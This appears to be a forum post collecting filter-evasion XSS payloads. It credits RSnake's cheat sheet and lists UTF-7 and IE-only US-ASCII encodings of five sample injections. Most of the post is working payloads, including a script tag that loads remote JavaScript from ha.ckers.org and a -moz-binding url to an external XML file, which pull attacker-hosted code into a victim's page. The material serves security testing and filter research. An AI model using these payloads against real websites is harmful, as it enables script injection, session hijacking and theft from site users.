Thanks to RSnake for opening my eyes to alternate encoding recently, with his blog .. i was hoping to concentrate the knowledge (and questions) here..
particularly sample strings to plug in for each encoding that'll get around standard filters for ',",<,> and allow script that executes.
UTF-7
can use [
maluc.sitesled.com] for encoding (might be worth adding to the bottom of the cheat sheet)
<script>alert(1)</script> to +ADw-script+AD4-alert(1)+ADw-/script+AD4-
"><script>alert("XSS")</script> to +ACIAPgA8-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
<script src=http://ha.ckers.org/s.js?> to +ADw-script src+AD0-[ha.ckers.org]-
" style="-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss')" to +ACI- style+AD0AIg--moz-binding:url('http://ha.ckers.org/xssmoz.xml+ACM-xss')+ACI-
";alert(1);// to +ACIAOw-alert(1)+ADs-//
i'll add other encodings as i understand them .-. .. using the same 5 sample injections. unless there is a better shortlist of injections to list
and while incomplete, this works in IE-only for US-ASCII:
<script>alert(1)</script> to ¼script¾alert(1)¼/script¾
"><script>alert("XSS")</script> to ¢¾¼script¾alert(¢XSS¢)¼/script¾
i know it's not new, just concentrating info .. more later - and feel free to contribute cause i'm very new to uncommon encoding methods ^^
-maluc